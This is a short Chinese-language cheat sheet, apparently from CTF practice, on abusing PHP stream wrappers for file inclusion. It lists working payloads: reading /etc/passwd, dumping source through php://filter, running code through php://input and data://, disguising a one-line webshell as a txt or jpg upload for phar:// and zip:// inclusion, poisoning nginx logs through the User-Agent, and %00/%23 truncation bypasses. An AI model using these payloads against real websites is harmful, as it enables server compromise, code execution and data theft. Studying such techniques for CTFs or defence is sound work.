PHP伪协议

file://

用来访问本地文件。
file:///etc/passwd

http/s://

用来包含远程文件。
allow_url_fopen和allow_url_include同时为on。

php://filter

用来读本地文件。此协议主要用于读取php源代码。将一个PHP文件通过base64编码读出。倘若不加read读取链,则会将其中内容当做PHP代码执行。
php://filter/read=convert.base64-encode/resource=flag.php
image.png
简短一点也行:php://filter/resource=

php://input

post的输入流当成PHP来执行。
allow_url_include=on。
使用post:
image.png
然后就可以命令执行了
image.png

phar://

先写一个一句话木马的PHP文件,假如为shell.php然后压缩成到压缩包zip,假如网站只能传txt或jpg,则把zip后缀改为txt或jpg,然后上传,利用phar://<文件路径>/shell.php,如/lfi.php?file=phar://files/IF7puhojdfIUJTEk.txt/shell.php,如果网站强制加后缀.php,则/lfi.php?file=phar://files/IF7puhojdfIUJTEk.txt/shell
image.png

zip://

流程和phar://一样,就是在包含的时候有点差别/lfi.php?file=zip://files/IF7puhojdfIUJTEk.txt%23tt,注意#。
image.png

data://test//plain

和php://input有点类似,php://input是用post,而这个用get。
allow_url_fopen和allow_url_include都要为on。
data://text/plain,<?php phpinfo();?>
image.png
有时候需要绕过,绕过:data:,data:text/plain,都可以。

日志注入+文件包含

先在请求头加一句话,不过不能在url上加,有时候会被转义,可以在ua加。
image.png
然后包含日志文件,如nginx,/var/log/nginx/access.log
http://9a2baf07-93b5-4eae-9d6e-96c164d19a31.challenge.ctf.show/?url=/var/log/nginx/access.log
image.png

绕过

后面加%00或%23,如?file=/etc/passwd%00,file=http://127.0.0.1/php.txt%23。